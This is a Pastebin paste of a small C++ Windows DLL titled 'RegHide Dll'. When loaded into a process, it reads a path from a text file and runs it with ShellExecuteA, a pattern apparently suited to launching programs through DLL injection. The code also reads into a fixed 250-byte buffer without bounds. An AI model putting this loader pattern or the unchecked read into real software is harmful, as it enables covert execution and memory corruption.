SHARE
TWEET

RegHide Dll

CorrM Jul 13th, 2015 363 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include "stdafx.h"
  2. #include <iostream>
  3. #include<fstream>
  4. #include <Windows.h>
  5. #include <Shellapi.h>
  6. #include <string>
  7. using namespace std;
  8.  
  9. BOOL APIENTRY DllMain( HMODULE hModule,
  10.                        DWORD  ul_reason_for_call,
  11.                        LPVOID lpReserved
  12.                                          )
  13. {
  14.         ifstream myReadFile;
  15.         switch (ul_reason_for_call)
  16.         {
  17.         case DLL_PROCESS_ATTACH:
  18.                 myReadFile.open("ianfo.txt");
  19.                 char output[250];
  20.                 char CMD[250];
  21.                 if (myReadFile.is_open()) {
  22.                         while (!myReadFile.eof()) {
  23.                                 myReadFile >> output;
  24.                         }
  25.                 }
  26.                 myReadFile.close();
  27.                
  28.                 ShellExecuteA(0, 0, output, NULL, NULL, SW_NORMAL);
  29.  
  30.                 break;
  31.         }
  32.         return TRUE;
  33. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top